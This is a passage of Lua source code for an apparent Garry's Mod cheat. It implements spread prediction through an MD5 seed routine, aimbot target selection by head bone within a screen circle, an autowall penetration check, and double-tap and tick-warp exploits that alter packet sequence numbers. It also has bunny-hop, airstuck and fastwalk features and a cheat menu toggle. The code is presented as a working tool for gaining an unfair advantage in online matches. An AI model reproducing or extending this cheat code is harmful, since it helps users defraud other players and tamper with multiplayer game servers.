    [196] = {0.603385, 0.401094},
    [197] = {0.632098, -0.439659},
    [198] = {0.681016, -0.242436},
    [199] = {-0.261709, 0.304265},
    [200] = {-0.653737, -0.199245},
    [201] = {-0.435512, -0.762978},
    [202] = {0.701105, 0.389527},
    [203] = {0.093495, -0.148484},
    [204] = {0.715218, 0.638291},
    [205] = {-0.055431, -0.085173},
    [206] = {-0.727438, 0.889783},
    [207] = {-0.007230, -0.519183},
    [208] = {-0.359615, 0.058657},
    [209] = {0.294681, 0.601155},
    [210] = {0.226879, -0.255430},
    [211] = {-0.307847, -0.617373},
    [212] = {0.340916, -0.780086},
    [213] = {-0.028277, 0.610455},
    [214] = {-0.365067, 0.323311},
    [215] = {0.001059, -0.270451},
    [216] = {0.304025, 0.047478},
    [217] = {0.297389, 0.383859},
    [218] = {0.288059, 0.262816},
    [219] = {-0.889315, 0.533731},
    [220] = {0.215887, 0.678889},
    [221] = {0.287135, 0.343899},
    [222] = {0.423951, 0.672285},
    [223] = {0.411912, -0.812886},
    [224] = {0.081615, -0.497358},
    [225] = {-0.051963, -0.117891},
    [226] = {-0.062387, 0.331698},
    [227] = {0.020458, -0.734125},
    [228] = {-0.160176, 0.196321},
    [229] = {0.044898, -0.024032},
    [230] = {-0.153162, 0.930951},
    [231] = {-0.015084, 0.233476},
    [232] = {0.395043, 0.645227},
    [233] = {-0.232095, 0.283834},
    [234] = {-0.507699, 0.317122},
    [235] = {-0.606604, -0.227259},
    [236] = {0.526430, -0.408765},
    [237] = {0.304079, 0.135680},
    [238] = {-0.134042, 0.508741},
    [239] = {-0.276770, 0.383958},
    [240] = {-0.298963, -0.233668},
    [241] = {0.171889, 0.697367},
    [242] = {-0.292571, -0.317604},
    [243] = {0.587806, 0.115584},
    [244] = {-0.346690, -0.098320},
    [245] = {0.956701, -0.040982},
    [246] = {0.040838, 0.595304},
    [247] = {0.365201, -0.519547},
    [248] = {-0.397271, -0.090567},
    [249] = {-0.124873, -0.356800},
    [250] = {-0.122144, 0.617725},
    [251] = {0.191266, -0.197764},
    [252] = {-0.178092, 0.503667},
    [253] = {0.103221, 0.547538},
    [254] = {0.019524, 0.621226},
    [255] = {0.663918, -0.573476}
}
 
SPR.Const = {
    0xd76aa478,0xe8c7b756,0x242070db,0xc1bdceee,
    0xf57c0faf,0x4787c62a,0xa8304613,0xfd469501,
    0x698098d8,0x8b44f7af,0xffff5bb1,0x895cd7be,
    0x6b901122,0xfd987193,0xa679438e,0x49b40821,
    0xf61e2562,0xc040b340,0x265e5a51,0xe9b6c7aa,
    0xd62f105d,0x02441453,0xd8a1e681,0xe7d3fbc8,
    0x21e1cde6,0xc33707d6,0xf4d50d87,0x455a14ed,
    0xa9e3e905,0xfcefa3f8,0x676f02d9,0x8d2a4c8a,
    0xfffa3942,0x8771f681,0x6d9d6122,0xfde5380c,
    0xa4beea44,0x4bdecfa9,0xf6bb4b60,0xbebfbc70,
    0x289b7ec6,0xeaa127fa,0xd4ef3085,0x04881d05,
    0xd9d4d039,0xe6db99e5,0x1fa27cf8,0xc4ac5665,
    0xf4292244,0x432aff97,0xab9423a7,0xfc93a039,
    0x655b59c3,0x8f0ccc92,0xffeff47d,0x85845dd1,
    0x6fa87e4f,0xfe2ce6e0,0xa3014314,0x4e0811a1,
    0xf7537e82,0xbd3af235,0x2ad7d2bb,0xeb86d391,
    0x67452301,0xefcdab89,0x98badcfe,0x10325476
}
 
local md5_f = function (x,y,z) return bit.bor(bit.band(x,y),bit.band(-x-1,z)) end
local md5_g = function (x,y,z) return bit.bor(bit.band(x,z),bit.band(y,-z-1)) end
local md5_h = function (x,y,z) return bit.bxor(x,bit.bxor(y,z)) end
local md5_i = function (x,y,z) return bit.bxor(y,bit.bor(x,-z-1)) end
 
SPR.MD5 = {}
 
function SPR.MD5.z(f, a, b, c, d, x, s, ac)
        a = bit.band(a + f(b, c, d) + x + ac, 0xffffffff)
    return bit.bor(bit.lshift(bit.band(a, bit.rshift(0xffffffff, s)), s), bit.rshift(a, 32 - s)) + b
end
 
function SPR.MD5.Fix(a)
        if (a > 2 ^ 31) then
            return a - 2 ^ 32
        end
    return a
end
 
function SPR.MD5.Transform(A, B, C, D, X)
    local a, b, c, d = A, B, C, D
        a = SPR.MD5.z(md5_f, a, b, c, d, X[0], 7, SPR.Const[1])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_f, d, a, b, c, X[1], 12, SPR.Const[2])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_f, c, d, a, b, X[2], 17, SPR.Const[3])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_f, b, c, d, a, X[3], 22, SPR.Const[4])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_f, a, b, c, d, X[4], 7, SPR.Const[5])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_f, d, a, b, c, X[5], 12, SPR.Const[6])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_f, c, d, a, b, X[6], 17, SPR.Const[7])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_f, b, c, d, a, X[7], 22, SPR.Const[8])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_f, a, b, c, d, X[8], 7, SPR.Const[9])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_f, d, a, b, c, X[9], 12, SPR.Const[10])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_f, c, d, a, b, X[10], 17, SPR.Const[11])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_f, b, c, d, a, X[11], 22, SPR.Const[12])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_f, a, b, c, d, X[12], 7, SPR.Const[13])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_f, d, a, b, c, X[13], 12, SPR.Const[14])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_f, c, d, a, b, X[14], 17, SPR.Const[15])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_f, b, c, d, a, X[15], 22, SPR.Const[16])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_g, a, b, c, d, X[1], 5, SPR.Const[17])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_g, d, a, b, c, X[6], 9, SPR.Const[18])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_g, c, d, a, b, X[11], 14, SPR.Const[19])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_g, b, c, d, a, X[0], 20, SPR.Const[20])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_g, a, b, c, d, X[5], 5, SPR.Const[21])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_g, d, a, b, c, X[10], 9, SPR.Const[22])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_g, c, d, a, b, X[15], 14, SPR.Const[23])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_g, b, c, d, a, X[4], 20, SPR.Const[24])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_g, a, b, c, d, X[9], 5, SPR.Const[25])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_g, d, a, b, c, X[14], 9, SPR.Const[26])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_g, c, d, a, b, X[3], 14, SPR.Const[27])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_g, b, c, d, a, X[8], 20, SPR.Const[28])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_g, a, b, c, d, X[13], 5, SPR.Const[29])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_g, d, a, b, c, X[2], 9, SPR.Const[30])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_g, c, d, a, b, X[7], 14, SPR.Const[31])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_g, b, c, d, a, X[12], 20, SPR.Const[32])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_h, a, b, c, d, X[5], 4, SPR.Const[33])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_h, d, a, b, c, X[8], 11, SPR.Const[34])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_h, c, d, a, b, X[11], 16, SPR.Const[35])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_h, b, c, d, a, X[14], 23, SPR.Const[36])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_h, a, b, c, d, X[1], 4, SPR.Const[37])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_h, d, a, b, c, X[4], 11, SPR.Const[38])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_h, c, d, a, b, X[7], 16, SPR.Const[39])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_h, b, c, d, a, X[10], 23, SPR.Const[40])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_h, a, b, c, d, X[13], 4, SPR.Const[41])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_h, d, a, b, c, X[0], 11, SPR.Const[42])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_h, c, d, a, b, X[3], 16, SPR.Const[43])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_h, b, c, d, a, X[6], 23, SPR.Const[44])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_h, a, b, c, d, X[9], 4, SPR.Const[45])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_h, d, a, b, c, X[12], 11, SPR.Const[46])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_h, c, d, a, b, X[15], 16, SPR.Const[47])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_h, b, c, d, a, X[2], 23, SPR.Const[48])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_i, a, b, c, d, X[0], 6, SPR.Const[49])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_i, d, a, b, c, X[7], 10, SPR.Const[50])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_i ,c, d, a, b, X[14], 15, SPR.Const[51])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_i, b, c, d, a, X[5], 21, SPR.Const[52])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_i, a, b, c, d, X[12], 6, SPR.Const[53])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_i, d, a, b, c, X[3], 10, SPR.Const[54])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_i, c, d, a, b, X[10], 15, SPR.Const[55])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_i, b, c, d, a, X[1], 21, SPR.Const[56])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_i, a, b, c, d, X[8], 6, SPR.Const[57])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_i, d, a, b, c, X[15], 10, SPR.Const[58])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_i, c, d, a, b, X[6], 15, SPR.Const[59])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_i, b, c, d, a, X[13], 21, SPR.Const[60])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        a = SPR.MD5.z(md5_i, a, b, c, d, X[4], 6, SPR.Const[61])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        d = SPR.MD5.z(md5_i, d, a, b, c, X[11], 10, SPR.Const[62])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        c = SPR.MD5.z(md5_i, c, d, a, b, X[2], 15, SPR.Const[63])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
        b = SPR.MD5.z(md5_i, b, c, d, a, X[9], 21, SPR.Const[64])
        a = SPR.MD5.Fix(a) b = SPR.MD5.Fix(b) c = SPR.MD5.Fix(c) d = SPR.MD5.Fix(d)
    return A + a, B + b, C + c, D + d
end
 
SPR.Spread = {
    weapon_smg1 = {0.04362, 0.04362},
    weapon_ar2 = {0.02618, 0.02618},
    weapon_shotgun = {0.08716, 0.08716},
    weapon_pistol = {0.00873, 0.00873},
}

function M9KGETSPREADVALUEBRO()
    for _, weapon in pairs(weapons.GetList()) do
        local className = weapon.ClassName
        if string.find(className, "m9k_") then
            local spreadValue = weapon.Primary and weapon.Primary.Spread or nil
            if spreadValue then
                SPR.Spread[className] = {spreadValue, spreadValue}
            end
        end
    end
end
M9KGETSPREADVALUEBRO()

function SPR.MD5.PseudoRandom(number)
    local a, b, c, d = SPR.MD5.Fix(SPR.Const[65]), SPR.MD5.Fix(SPR.Const[66]), SPR.MD5.Fix(SPR.Const[67]), SPR.MD5.Fix(SPR.Const[68])
    local m = {}
    for iter = 0, 15 do
        m[iter] = 0
    end
    m[0] = number
    m[1] = 128
    m[14] = 32
    a, b, c, d = SPR.MD5.Transform(a, b, c, d, m)
    return bit.rshift(SPR.MD5.Fix(b), 16) % 256
end

LocalPlayer().FireBullets = function(pEnt, bul)
    local wep = LocalPlayer():GetActiveWeapon()
    if not IsValid(wep) then return end
    local class = wep:GetClass()
    if not SPR.Spread[class] then
        return wep.FireBullets(wep, pEnt, bul)
    end
    return wep.FireBullets(wep, pEnt, bul)
end

function predictSpread(cmd, ang)
    local wep = LocalPlayer():GetActiveWeapon()
    if not IsValid(wep) then return ang end
    local class = wep:GetClass()
    local cone = SPR.Spread[class]
    if not cone then
        return ang
    end
    local seed = SPR.MD5.PseudoRandom(cmd:CommandNumber())
    local x, y = SPR.engineSpread[seed][1], SPR.engineSpread[seed][2]
    local forward, right, up = ang:Forward(), ang:Right(), ang:Up()
    local RetVec = forward + (x * cone[1] * right * -1) + (y * cone[2] * up * -1)
    local spreadAngles = RetVec:Angle()
    spreadAngles:Normalize()
    return spreadAngles
end

--		 :::       :::     :::     :::        :::           ::::::::: 
--		 :+:       :+:   :+: :+:   :+:        :+:                :+:  
--		 +:+       +:+  +:+   +:+  +:+        +:+               +:+   
--		 +#+  +:+  +#+ +#++:++#++: +#+        +#+              +#+    
--		 +#+ +#+#+ +#+ +#+     +#+ +#+        +#+             +#+     
--		  #+#+# #+#+#  #+#     #+# #+#        #+#            #+#      
--		   ###   ###   ###     ### ########## ##########    #########

function M9KAutowall()
    local tr = {}

    local function BulletPenetrate(tr, bounceNum, damage)
        if damage < 1 then
            return false
        end
        local maxPenetration = 14
        local maxRicochet = 0
        local isRicochet = false
        local ammoType = var.me:GetActiveWeapon().Primary and var.me:GetActiveWeapon().Primary.Ammo or ""

        if ammoType == "SniperPenetratedRound" then
            maxPenetration = 20
            maxRicochet = 10
        elseif ammoType == "pistol" then
            maxPenetration = 7
            maxRicochet = 2
        elseif ammoType == "357" then
            maxPenetration = 12
            maxRicochet = 5
        elseif ammoType == "smg1" then
            maxPenetration = 14
            maxRicochet = 4
        elseif ammoType == "ar2" then
            maxPenetration = 16
            maxRicochet = 5
        elseif ammoType == "buckshot" then
            maxPenetration = 5
            maxRicochet = 0
        elseif ammoType == "slam" then
            maxPenetration = 5
            maxRicochet = 0
        elseif ammoType == "AirboatGun" then
            maxPenetration = 17
            maxRicochet = 8
        end

        if bounceNum > maxRicochet then
            return false
        end

        local penetrationDir = tr.Normal * maxPenetration
        if tr.MatType == MAT_GLASS or tr.MatType == MAT_PLASTIC or tr.MatType == MAT_WOOD or tr.MatType == MAT_FLESH or tr.MatType == MAT_ALIENFLESH then
            penetrationDir = tr.Normal * (maxPenetration * 2)
        end

        if tr.Fraction <= 0 then
            return false
        end

        tr.endpos = tr.HitPos
        tr.start = tr.HitPos + penetrationDir
        local trace = util.TraceLine(tr)

        if trace.StartSolid or trace.Fraction >= 1 then
            return false
        end

        tr.endpos = trace.HitPos + tr.Normal * 32768
        tr.start = trace.HitPos
        local penTrace = util.TraceLine(tr)

        local damageMulti = 0.5
        if ammoType == "SniperPenetratedRound" then
            damageMulti = 1
        elseif tr.MatType == MAT_CONCRETE or tr.MatType == MAT_METAL then
            damageMulti = 0.3
        elseif tr.MatType == MAT_WOOD or tr.MatType == MAT_PLASTIC or tr.MatType == MAT_GLASS then
            damageMulti = 0.8
        elseif tr.MatType == MAT_FLESH or tr.MatType == MAT_ALIENFLESH then
            damageMulti = 0.9
        end

        if penTrace.MatType == MAT_GLASS then
            bounceNum = bounceNum - 1
        end

        return true
    end

    tr.start = LocalPlayer():EyePos()
    tr.endpos = LocalPlayer():EyePos() + (LocalPlayer():GetAimVector() * 32768)
    local trace = util.TraceLine(tr)

    local weapon = LocalPlayer():GetActiveWeapon()
    local damage = weapon.Primary and weapon.Primary.Damage or 0
    return BulletPenetrate(trace, 0, damage)
	
end

--		 :::     ::: :::::::::::  ::::::::  ::::::::::: :::::::::  :::        ::::::::::      ::::::::  :::    ::: ::::::::::  ::::::::  :::    ::: 
--		 :+:     :+:     :+:     :+:    :+:     :+:     :+:    :+: :+:        :+:            :+:    :+: :+:    :+: :+:        :+:    :+: :+:   :+:  
--		 +:+     +:+     +:+     +:+            +:+     +:+    +:+ +:+        +:+            +:+        +:+    +:+ +:+        +:+        +:+  +:+   
--		 +#+     +:+     +#+     +#++:++#++     +#+     +#++:++#+  +#+        +#++:++#       +#+        +#++:++#++ +#++:++#   +#+        +#++:++    
--		  +#+   +#+      +#+            +#+     +#+     +#+    +#+ +#+        +#+            +#+        +#+    +#+ +#+        +#+        +#+  +#+   
--		   #+#+#+#       #+#     #+#    #+#     #+#     #+#    #+# #+#        #+#            #+#    #+# #+#    #+# #+#        #+#    #+# #+#   #+#  
--		     ###     ###########  ########  ########### #########  ########## ##########      ########  ###    ### ##########  ########  ###    ###

local tr = {
	mask = MASK_SHOT,
	filter = var.me
}
function VisibleCheck( who, where)
    local start = var.me:EyePos()
    tr.start = start
	tr.endpos = where
	tr.mask = MASK_SHOT
    local trace = util.TraceLine( tr )
    local canhit = trace.Entity == who or trace.Fraction == 1
    if canhit then
    	return canhit
    -- else
    	-- M9KAutowall()
    	-- if M9KAutowall() then
            -- return true
        -- end
    end
end

function IsInCircle(screenPos, circleCenter, radius)
    local distSqr = (screenPos.x - circleCenter.x) ^ 2 + (screenPos.y - circleCenter.y) ^ 2
    return distSqr <= radius ^ 2
end
function GetPlayerInCircle()
    local cloply = nil
    local clodis = math.huge
    local circleCenter = Vector(ScrW() / 2, ScrH() / 2, 0)
    for _, ply in ipairs(player.GetAll()) do
        if ply ~= var.me and ply:Alive() and IsValid(ply) then
            local boneIndex = ply:LookupBone("ValveBiped.Bip01_Head1")
            if boneIndex then
                local pos2 = ply:GetBonePosition(boneIndex)
                if pos2 then
                    pos2 = pos2:ToScreen()
                    if IsInCircle(Vector(pos2.x, pos2.y, 0), circleCenter, 15 * 8) then
                        local distance = var.me:GetPos():DistToSqr(ply:GetPos())
                        if !table.HasValue( var.friendlist, ply:SteamID() ) and distance < clodis then
                            clodis = distance
                            cloply = ply
                        end
                    end
                end
            end
        end
    end
    return cloply
end


--      :::::::::  ::::::::::: 
--      :+:    :+:     :+:     
--      +:+    +:+     +:+     
--      +#+    +:+     +#+     
--      +#+    +#+     +#+     
--      #+#    #+#     #+#     
--      #########      ###

local TestDt = false
local DownLast = false
local LPressT = 0
local DTActivated = false
local LastClip = -1
local Ball1RedTime = 0
local Ball2RedTime = 0
local LastShotBall = 1
local Ball1DoubleTap = false
local sniperWeapons = {
    "m9k_aw50",
    "m9k_intervention",
    "m9k_m24",
    "m9k_remington7615p",
    "m9k_m98b"
}

function DoubleTap(cmd)
    local CurTime = CurTime()

    if input.IsKeyDown(KEY_E) then
        TestDt = true
        if DownLast then
            if (CurTime - LPressT) < 0.01 then
                if not DTActivated then
                    
                    ded.SetOutSequenceNr(ded.GetOutSequenceNr() + math.floor(1 / var.tickInterval) - 1)
                    DTActivated = true
                    cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
                end
            end
        end
        LPressT = CurTime
        DownLast = true
    else
        if DTActivated then
            cmd:SetViewAngles(var.fa)
            DTActivated = false
        end
        DownLast = false
    end
end
--		  ::::::::  :::::::::  ::::::::::     :::     ::::::::::: ::::::::::     ::::    ::::   ::::::::  :::     ::: :::::::::: 
--		 :+:    :+: :+:    :+: :+:          :+: :+:       :+:     :+:            +:+:+: :+:+:+ :+:    :+: :+:     :+: :+:        
--		 +:+        +:+    +:+ +:+         +:+   +:+      +:+     +:+            +:+ +:+:+ +:+ +:+    +:+ +:+     +:+ +:+        
--		 +#+        +#++:++#:  +#++:++#   +#++:++#++:     +#+     +#++:++#       +#+  +:+  +#+ +#+    +:+ +#+     +:+ +#++:++#   
--		 +#+        +#+    +#+ +#+        +#+     +#+     +#+     +#+            +#+       +#+ +#+    +#+  +#+   +#+  +#+        
--		 #+#    #+# #+#    #+# #+#        #+#     #+#     #+#     #+#            #+#       #+# #+#    #+#   #+#+#+#   #+#        
--		  ########  ###    ### ########## ###     ###     ###     ##########     ###       ###  ########      ###     ##########

local em = FindMetaTable("Entity")

local function AimPos(v)
	local eyes = em.LookupAttachment(v, "eyes")
	if (!eyes) then return(em.LocalToWorld(v, em.OBBCenter(v))) end
	local pos = em.GetAttachment(v, eyes)
	if (!pos) then return(em.LocalToWorld(v, em.OBBCenter(v))) end
	return(pos.Pos)
end

function test(cmd)
    Silent(cmd)

    if ftg.vars["VIOL_SILENT"] then cmd:SetViewAngles(var.fa) end

    if ftg.vars["VIOL_SPAM"] then
        if input.IsKeyDown(KEY_L)then
        	RunConsoleCommand("use","gmod_camera")
        	if cmd:TickCount()%2==0 then
        		cmd:SetButtons(bit.bor(cmd:GetButtons(),IN_ATTACK))
        	end
        end
        if input.IsKeyDown(KEY_K)then
            RunConsoleCommand("impulse", "100" )
        end
    end
    local wish_yaw = var.fa.y
	if ftg.vars["VIOL_BHOP"] then
    	if cmd:KeyDown( IN_JUMP ) then
	    	if !var.me:OnGround() then
	    		cmd:SetButtons( cmd:GetButtons() - IN_JUMP )
	    	end
        	if var.me:IsFlagSet( FL_ONGROUND ) then
        	    cmd:SetForwardMove(10000)
        	else
            	cmd:SetForwardMove(5850 / var.me:GetVelocity():Length2D())
            	cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400)
        	end
		end
	end
	if ftg.vars["VIOL_WARP"] then
		if input.IsMouseDown(MOUSE_5) then -- Release charged ticks
			if CurTime() >= var.Next then
				ded.SetOutSequenceNr(ded.GetOutSequenceNr() + (GetConVarNumber("sv_maxusrcmdprocessticks") - 0.5))

				var.Next = CurTime() + 1
				return true, true
			end
		else
			if CurTime() < var.Next then -- Recharge ticks
				if CurTime() - var.LastCharge >= 0.1 then
					var.LastChargeSequence = ded.GetOutSequenceNr()
					var.LastCharge = CurTime()
				else
					ded.SetOutSequenceNr(var.LastChargeSequence)
				end

				return true, true
			end
		end
	end
	if ftg.vars["VIOL_SPEEDHACK"] then
	end
    if input.IsKeyDown(KEY_J) then
        if not var.toggleKeyPressed then
            ToggleCheatMenu()
            var.toggleKeyPressed = true
        end
    else
        var.toggleKeyPressed = false
    end
    if ftg.vars["VIOL_AIRSTUCK"] then
    	if input.IsMouseDown(MOUSE_5) then
        	ded.SetOutSequenceNr(ded.GetOutSequenceNr() + 40)
    	end
    end
	if ftg.vars["VIOL_FASTWALK"] then
		if LocalPlayer():GetMoveType() == MOVETYPE_WALK and cmd:GetForwardMove() ~= 0 then
			if cmd:TickCount()%2 == 0 then
				cmd:SetSideMove(cmd:GetSideMove() + 5000)
			else
				cmd:SetSideMove(cmd:GetSideMove() - 5000)
			end
		end
	end
    if(input.IsKeyDown(KEY_F)) then
        if(!keyPressed) then
